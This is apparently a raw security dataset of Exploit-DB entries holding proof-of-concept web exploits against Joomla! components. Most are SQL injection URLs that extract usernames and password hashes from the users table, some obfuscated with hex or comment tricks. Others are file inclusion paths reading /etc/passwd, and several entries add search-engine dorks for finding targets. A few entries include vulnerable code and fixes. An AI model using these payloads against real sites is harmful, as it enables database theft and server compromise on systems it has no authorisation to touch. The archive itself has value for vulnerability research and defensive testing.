deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17944
Description: Joomla! Component Time Returns 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-08
Author: kaMtiEz

Exploit:
#############################################################################################################
## Joomla Component Time Returns (com_timereturns) SQL Injection Vulnerability			           ##
## Author : kaMtiEz (kamtiez@exploit-id.com)								   ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id	   ##
## Date : 8 October, 2011 						                                   ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.takeaweb.it/
[+] Download : http://www.takeaweb.it/index.php?option=com_dms&view=category&layout=table&Itemid=13
[+] version : 2.0 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : - INDONESIA -

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/index.php?option=com_timereturns&view=timereturns&id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack,n4kuLa
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,Caddy-Dz,pinpinbo dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ] 

[+] Halal Bihalal sukses mas dab :))
[+] Jika kau mengambil sebuah keputusan maka kau tidak boleh menyesalinya :-)
[+] Hellcome in MGL jos_ali_joe =))

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
Exploit-DB #44130
Description: Joomla! Component Timetable Responsive Schedule For Joomla! 1.5 - 'alias' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component Timetable Responsive Schedule For Joomla 1.5 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://quanticalabs.com/joomla/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/timetable-responsive-schedule-for-joomla/
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6583
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_timetable&view=event&alias=[SQL]
# 
# LTYnKysvKiEwNzc3N1VOSU9OKi8oLyohMDc3NzdTRUxFQ1QqLzB4MjgzMTI5LCgvKiEwNzc3N1NFTEVDVCovKEB4KS8qITA3Nzc3RlJPTSovKC8qITA3Nzc3U0VMRUNUKi8oQHg6PTB4MDApLChATlI6PTApLCgvKiEwNzc3N1NFTEVDVCovKDApLyohMDc3NzdGUk9NKi8oSU5GT1JNQVRJT05fU0NIRU1BLlRBQkxFUykvKiEwNzc3N1dIRVJFKi8oVEFCTEVfU0NIRU1BIT0weDY5NmU2NjZmNzI2ZDYxNzQ2OTZmNmU1ZjczNjM2ODY1NmQ2MSlBTkQoMHgwMClJTihAeDo9Q09OQ0FUKEB4LExQQUQoQE5SOj1ATlIlMmIxLDQsMHgzMCksMHgzYTIwLHRhYmxlX25hbWUsMHgzYzYyNzIzZSkpKSl4KSwweDI4MzMyOSwweDI4MzQyOSktLSst
# 
# JTJkJTM2JTI3JTIwJTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTU1JTRlJTQ5JTRmJTRlJTJhJTJmJTI4JTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTJhJTJmJTMwJTc4JTMyJTM4JTMzJTMxJTMyJTM5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTJjJTMwJTc4JTMyJTM4JTMzJTMzJTMyJTM5JTJjJTMwJTc4JTMyJTM4JTMzJTM0JTMyJTM5JTI5JTJkJTJkJTIwJTJk
# 	
# # # #
Exploit-DB #45478
Description: Joomla! Component Timetable Schedule 3.6.8 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Timetable Schedule 3.6.8 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://osthemeclub.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/timetable-schedule/
# Version: 3.6.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17394
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_timetableschedule&view=schedule&Itemid=492&eid=[SQL]
# 
# # # #
Exploit-DB #15084
Description: Joomla! Component TimeTrack 1.2.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-09-22
Author: Salvatore Fresta

Exploit:
TimeTrack 1.2.4 Joomla Component Multiple SQL Injection Vulnerabilities

 Name              TimeTrack
 Vendor            http://www.itrn.de
 Versions Affected 1.2.4

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-09-22

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

TimeTrack  is  a  time tracking Component for Joomla! 1.5
to  collect,  categorize  and  evaluate working hours and
services.  Monthly  Reports can generated and exported as
PDF or CSV-File.


II. DESCRIPTION
_______________

Many numeric parameters are not properly sanitised before
being  used  in  a  SQL  query. This  can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 

A) Multiple SQL Injection
_________________________

Each  module  is  vulnerable to SQL Injection because all
numeric fields are not sanitised.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://host/path/components/index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users


V. FIX
______

No fix.
Exploit-DB #30445
Description: Joomla! Component Tour de France Pool 1.0.1 Module - MosConfig_absolute_path Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-02
Author: Yollubunlar.Org

Exploit:
source: https://www.securityfocus.com/bid/25183/info

Tour de France Pool for Joomla is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Tour de France Pool 1.0.1; other versions may also be vulnerable. 

http://www.example.com/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=
Exploit-DB #12151
Description: Joomla! Component TRAVELbook 1.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
================================================================================================================


  [o] Joomla Component TRAVELbook Local File Inclusion Vulnerability
 
       Software : com_travelbook version 1.0.1
       Vendor   : http://www.demo-page.de/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_travelbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #14481
Description: Joomla! Component TTVideo 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-27
Author: Salvatore Fresta

Exploit:
TTVideo 1.0 Joomla Component SQL Injection Vulnerability

Download link: http://www.toughtomato.com/resources/downloads/joomla-1.5/components/ttvideo/

 Name              TTVideo
 Vendor            http://www.toughtomato.com
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-27

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

TTVideo  is  a  Joomla!  component that makes use of the
popular  video  sharing  site  Vimeo  to  create a video
library.


II. DESCRIPTION
_______________

A  parameter  in  ttvideo.php  is not properly sanitised
before being used in a SQL query.


III. ANALYSIS
_____________

Summary:

 A) SQL Injection
 

A) SQL Injection
________________

The parameter cid passed to ttvideo.php when task is set
to video  is not properly sanitised before being used in
a SQL query.  This  can  be  exploited to manipulate SQL
queries by injecting arbitrary SQL code.  The  following
is the vulnerable code:

ttvideoController.php (line 40):

function video() {
    $cid = JRequest::getVar('cid', null, 'default');
    

ttvideo.php (line 188):

function getVideo($id) {
    $db = $this->getDBO();
    $db->setQuery("SELECT * from #__ttvideo WHERE id=$id");
    $video = $db->loadObject(); 
    if ($video === null)
      JError::raiseError(500, 'Video with ID: '.$id.' not found.');
    return $video;
}


IV. SAMPLE CODE
_______________

A) SQL Injection

http://site/path/index.php?option=com_ttvideo&task=video&cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users


V. FIX
______

Use JRequest::getInt instead of JRequest::getVar
Exploit-DB #9653
Description: Joomla! Component Turtushout 0.11 - 'Name' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-14
Author: jdc

Exploit:
Joomla Component Turtushout 0.11SQL Injection

'Name' field SQL injection:

test', '0.0.0.0' ), ( 'test', ( SELECT CONCAT( username, 0x20, email ) FROM #__users WHERE gid=25 limit 1 ), '2009-08-07 13:52:38', 0, 'test', '0.0.0.0' ) -- '

jdc 2009 

# milw0rm.com [2009-09-14]
Exploit-DB #12142
Description: Joomla! Component TweetLA 1.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
====================================================================================================


  [o] Joomla Component TweetLA! Local File Inclusion Vulnerability
 
       Software : com_tweetla version 1.0.1
       Vendor   : http://www.demo-page.de/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


====================================================================================================


  [o] Exploit

       http://[site]/[path]/index.php?option=com_tweetla&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00


====================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


====================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #42493
Description: Joomla! Component Twitch Tv 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Twitch Tv 1.1 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage: http://www.raindropsinfotech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/sports-a-games/game-servers/twitch-tv-component/
# Demo: http://www.raindropsinfotech.com/example/twitch.tv
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_twitchtv&view=twitch&username=[SQL]
# gobgg'++aND(/*!22223SELECT*/+0x30783331+/*!22223FROM*/+(/*!22223SELECT*/+cOUNT(*),/*!22223CONCAT*/((sELECT(sELECT+/*!22223CONCAT*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+aNd+''='
# 
# http://localhost/[PATH]/index.php?option=com_twitchtv&view=gamecenter&id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #12426
Description: Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-27
Author: AntiSecurity

Exploit:
=======================================================================================================================


  [o] Joomla Component Ultimate Portfolio Local File Inclusion Vulnerability
 
       Software : com_ultimateportfolio version 1.0
       Vendor   : http://webkul.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=======================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_ultimateportfolio&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00


=======================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=======================================================================================================================


  [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #42417
Description: Joomla! Component Ultimate Property Listing 1.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Ultimate Property Listing v1.0.2 - SQL Injection
# Dork: N/A
# Date: 02.08.2017
# Vendor : http://faboba.com/
# Software: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/ultimate-property-listing/
# Demo: http://demoupl.faboba.com/
# Version: 1.0.2
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_upl&view=propertylisting&sf_selectuser_id=[SQL]
# -109'+UNION+ALL+SELECT+0x31,0x32,0x33,0x34,0x35,0x36,0x37,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232,0x3233,0x3234,0x3235,0x3236,0x3237,0x3238,0x3239,0x3330,0x3331,0x3332,0x3333,0x3334,0x3335,0x3336,0x3337,0x3338,0x3339,0x3430,0x3431,0x3432,0x3433,0x3434,0x3435,0x3436,0x3437,0x3438,0x3439,0x3530,0x3531,0x3532,0x3533,0x3534,0x3535,0x3536,0x3537,0x3538,0x3539,0x3630,0x3631,0x3632,0x3633,0x3634,0x3635,0x3636,0x3637,0x3638,0x3639,0x3730,0x3731,0x3732,0x3733,0x3734,0x3735,0x3736,0x3737,0x3738,0x3739,0x3830,0x3831,0x3832,0x3833,0x3834,0x3835,0x3836,0x3837--+-
# http://localhost/[PATH]/index.php?option=com_upl&view=propertylisting&type=listing&sf_multiplelocation1_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_upl&view=propertylisting&type=listing&sf_multiplelisting=[SQL]
# Etc..
# # # # #
Exploit-DB #43357
Description: Joomla! Component User Bench 1.0 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component User Bench 1.0 - SQL Injection
# Dork: N/A
# Date: 18.12.2017
# Vendor Homepage: http://www.gegabyte.org/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/user-bench/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_userbench&view=detail&userid=[SQL]
#  
# %20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
# 
# # # # #
Exploit-DB #11998
Description: Joomla! Component User Status - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-01
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Component User Status Local File Inclusion
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios@gmail.com
Date		: 31 March 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: User Status
version		: 1.21.16 
Developer	: Mo Kelly
License		: GPL            type  : Commercial
Price		: 10.00 USD
Date Added	: 27 March 2010
Download	: http://joomlamo.com/joomlamo/downloads/cat_view/6-other-joomla-components-modules-and-plugins.html



Description     :

The component back end allows the entry of locations. Also assigning users to a location is done in the back end.
Users that are not assigned a location do not show up in the User Status Screen.

After creating locations and assigning users you may view their status from the front end.
Create a menu selection with user User Status component.

There is a separate module to allow users to update their status.

Another module, "Refresh Page" makes sure that the user status screen accurately reflects users status.

A User's status must be updated to change, it will not expire with the user session.


--------------
file error	: components/com_userstatus/userstatus.php

how to exploit

http://127.0.0.1/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #41441
Description: Joomla! Component UserExtranet 1.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component UserExtranet v1.3.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_userextranet
# Date: 23.02.2017
# Vendor Homepage: http://www.beesto.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/access-a-security/site-access/userextranet/
# Demo: http://www.beesto.com/extensions/18-userextranet/93-demo
# Version: 1.3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?option=com_userextranet&view=folders&fid=[SQL]
# 66+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# # # # #
Exploit-DB #46226
Description: Joomla! Component vAccount 2.0.2 - 'vid' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component vAccount 2.0.2 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://wdmtech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/financial/cost-calculators/vaccount/
# Version: 2.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/vaccount-dashboard/expense?vid=[SQL]
# 

GET /[PATH]/vaccount-dashboard/expense?vid=18%20%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29,%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 39b5054fae6740372b[PII_REDACTED]bdc7=pusmhir0h1896vr6v5dvmnqd46
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/5.6.36
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Server: - Web acceleration by http://target/
X-Cacheable: NO: beresp.status
X-Cacheable-status: 500
Content-Length: 4216
Accept-Ranges: bytes
Date: Tue, 22 Jan 2019 21:33:56 GMT
X-Varnish: 561086750
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS